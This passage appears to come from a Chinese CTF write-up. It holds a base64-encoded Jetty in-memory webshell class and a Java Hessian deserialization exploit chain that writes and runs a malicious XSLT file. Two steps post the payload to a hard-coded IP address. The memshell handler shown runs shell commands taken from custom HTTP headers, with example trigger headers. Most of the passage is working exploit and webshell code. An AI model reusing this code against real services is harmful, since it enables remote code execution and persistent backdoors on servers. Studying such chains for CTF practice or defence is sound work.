Q7AQAQamF2YS9sYW5nL1RocmVhZAEADWN1cnJlbnRUaHJlYWQBABQoKUxqYXZhL2xhbmcvVGhyZWFkOwEADmdldFRocmVhZEdyb3VwAQAZKClMamF2YS9sYW5nL1RocmVhZEdyb3VwOwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDspSgEACWdldE9iamVjdAEAJyhMamF2YS9sYW5nL09iamVjdDtKKUxqYXZhL2xhbmcvT2JqZWN0OwEAB2dldE5hbWUBAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQALbmV3SW5zdGFuY2UBABQoKUxqYXZhL2xhbmcvT2JqZWN0OwEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmF4L2NyeXB0by9DaXBoZXI7AQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBAARpbml0AQAXKElMamF2YS9zZWN1cml0eS9LZXk7KVYBAAdkb0ZpbmFsAQAGKFtCKVtCAQAlamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdAEACWdldEhlYWRlcgEAEGVxdWFsc0lnbm9yZUNhc2UBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBAAdpc0VtcHR5AQADKClaAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEACGNvbnRhaW5zAQAbKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylaAQAgb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1JlcXVlc3QBAApzZXRIYW5kbGVkAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAKChbTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAARuZXh0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBAA9nZXRPdXRwdXRTdHJlYW0BACUoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRPdXRwdXRTdHJlYW07AQAhamF2YXgvc2VydmxldC9TZXJ2bGV0T3V0cHV0U3RyZWFtAQAFd3JpdGUBAAUoW0IpVgEABWZsdXNoAQAMZ2V0UGFyYW1ldGVyAQAVZ2V0Q29udGV4dENsYXNzTG9hZGVyAQAZKClMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAKShbTGphdmEvbmV0L1VSTDtMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQARamF2YS9sYW5nL0ludGVnZXIBAARUWVBFAQARZ2V0RGVjbGFyZWRNZXRob2QBAAd2YWx1ZU9mAQAWKEkpTGphdmEvbGFuZy9JbnRlZ2VyOwEACXN1YnN0cmluZwEAFihJSSlMamF2YS9sYW5nL1N0cmluZzsBAAt0b0J5dGVBcnJheQEADmdldEh0dHBDaGFubmVsAQAoKClMb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL0h0dHBDaGFubmVsOwEAJG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9IdHRwQ2hhbm5lbAEACWdldFNlcnZlcgEAIygpTG9yZy9lY2xpcHNlL2pldHR5L3NlcnZlci9TZXJ2ZXI7AQAfb3JnL2VjbGlwc2UvamV0dHkvc2VydmVyL1NlcnZlcgEACmdldEhhbmRsZXIBACQoKUxvcmcvZWNsaXBzZS9qZXR0eS9zZXJ2ZXIvSGFuZGxlcjsBABFqYXZhL2xhbmcvQm9vbGVhbgEAFihaKUxqYXZhL2xhbmcvQm9vbGVhbjsBAANzZXQBAC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";
String xslt = xsltTemplate.replace("base64", base64Code);
xslt = xslt.replace("classname", "com.Err0r233.JettyGodzillaMemshell");
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xml.internal.security.utils.JavaUtils", "writeBytesToFilename", new Object[]{"/tmp/1.xslt",xslt.getBytes()});
uiDefaults.put("aaa", swingLazyValue);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
SetValue(mimeTypeParameterList, "parameters", uiDefaults);
byte[] data = ser(mimeTypeParameterList);
System.out.println(sendPostRequest("http://48.218.22.35:21000/run", data));
}
public static void step2() throws Exception{
UIDefaults uiDefaults = new UIDefaults();
SwingLazyValue swingLazyValue = new SwingLazyValue("com.sun.org.apache.xalan.internal.xslt.Process", "_main", new Object[]{new String[]{"-XT", "-XSL", "/tmp/1.xslt"}});
uiDefaults.put("aaa", swingLazyValue);
MimeTypeParameterList mimeTypeParameterList = new MimeTypeParameterList();
SetValue(mimeTypeParameterList, "parameters", uiDefaults);
byte[] data = ser(mimeTypeParameterList);
System.out.println(sendPostRequest("http://48.218.22.35:21000/run", data));
}

public static void main(String[] args) throws Exception {
step1();
step2();
}

public static void SetValue(Object obj, String name, Object value) throws Exception{
Class clz = obj.getClass();
Field field = clz.getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static byte[] ser(Object obj) throws Exception{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
//允许反序列化NonSerializable
hessian2Output.getSerializerFactory().setAllowNonSerializable(true);

//触发expect:
baos.write(67);
hessian2Output.writeObject(obj);
hessian2Output.flushBuffer();
return baos.toByteArray();
}

}

然后我这边想用哥斯拉上马的,奈何不会,简单地分析了一下发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
@Override
public void handle(String s, Request base, HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {
try {
if (request.getHeader("x-fuck-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
base.setHandled(true);
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\ASADSADASDSADAS").next();
ServletOutputStream outputStream = response.getOutputStream();
outputStream.write(result.getBytes());
outputStream.flush();
}
}

是的,只需要自定义请求头即可:

1
2
x-fuck-data: cmd
cmd: whoami
感受到对edge用户的恶意了